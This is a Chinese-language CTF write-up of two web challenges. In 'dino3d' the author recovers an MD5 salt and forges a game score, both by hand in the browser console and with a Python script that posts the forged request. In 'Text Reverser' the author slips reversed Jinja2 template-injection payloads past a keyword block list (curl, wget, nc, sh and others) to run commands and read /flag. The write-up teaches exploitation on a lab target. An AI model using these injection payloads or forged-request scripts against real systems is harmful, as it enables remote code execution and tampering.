dino3d
首先进去是一个小恐龙
我们通过f12,用网络来拦包
看看这个数
同时你也能得知一些其他东西
三个参数,score是你当前的分数44分,checkCode暂时不知道是什么,tm感觉像是时间
和前十位像吧
现在去看看sn那个数
这里score我们是知道,那么checkCode就是MD5(score+t)所以只要知道 t 是什么那么我们就知道了checkCode是什么了,tm我们现在是真的知道的他是时间了
在这里我给大家推荐一个MD5解密的网站 MD5解密
这个网站这个都能解出来拥有数字、大小写字母、符号,说明他的库是真的强。赞
那么我们现在就知道了t=DASxCBCTF_wElc03e
不过这时候我突然有了一种新的想法这时候第一种解法就来了
第一种解法:
我们去看看sn这个参数的运行去
它输出,那么score.score就是它输出的我们分数,那么我们为什么不把这个数改了
来到控制台操作嘿嘿
这里果然就是我们的分数
flag为:DASCTF{30f17342-da11-4bf8-97be-972c6acc2252}
不过这个方法不一定是马上成功的,可能需要多试几次,必须在小恐龙跑的时候再输入,这个按照我感觉应该和tm那个数有关,因为你所获取的时间有可能会延迟,这样时间就对不上了,就会输出这个
第二种解法:
就是正常写脚本
import requests
import time
import hashlib
s=requests.Session()
url='http://node4.buuoj.cn:25160/check.php'
tm = repr(time.time())[:10]
scorce = '1000000'
data={'score':scorce,'checkCode':hashlib.md5(b"1000000DASxCBCTF_wElc03e").hexdigest(),'tm':tm}
b = 0
while b==0:
aa = s.post(url,data=data).text
if "CTF" in aa:
print(aa)
break
else:
print("这次没有出现flag哦")
我为什么要加一个while循环
大概就是我上面讲得问题
Text Reverser
他是把这些都过滤了,['{{', 'print', 'class', 'session', 'request', 'builtins', 'bas', 'bin', 'sh', 'curl', 'print', '<', '>', 'tee', 'flag', 'cat', 'tac', 'more', 'less', 'head', '\\', 'wget', 'cp', 'nc', 'mv', ';', '&']
这是通过之后查看app.py知道的
但是它会进行反转的,所以很多很多过滤是没有用的,但是它就相当于过滤了这些[ '{{' , ' tac' , 'cat' , '<' , '>' , '//' , ';' , '&']
cat这些不用担心,像more之类的还是可以还是可以用
就算是要使用cat,也是可以用/usr/bin/c?t 之类代替
因为{{被过滤了,我们就使用{% print 7*7 %}
通过[].__class__.__base__.__subclasses__()获取所有的子类
}%)(__sessalcbus__.__esab__.__ssalc__.][ tnirp %
查看里面有没有什么危险的子类,且知道他是第几位
搜索os,看到危险子类,且在132的位置
使用他来查看
{% print ''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()%}
}%)(daer.)'sl'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.__esab__.__ssalc__.'' tnirp %{
查看flag,flag在根目录
{% print ''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('more /flag').read()%}
}%)(daer.)'galf/ erom'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.__esab__.__ssalc__.'' tnirp %{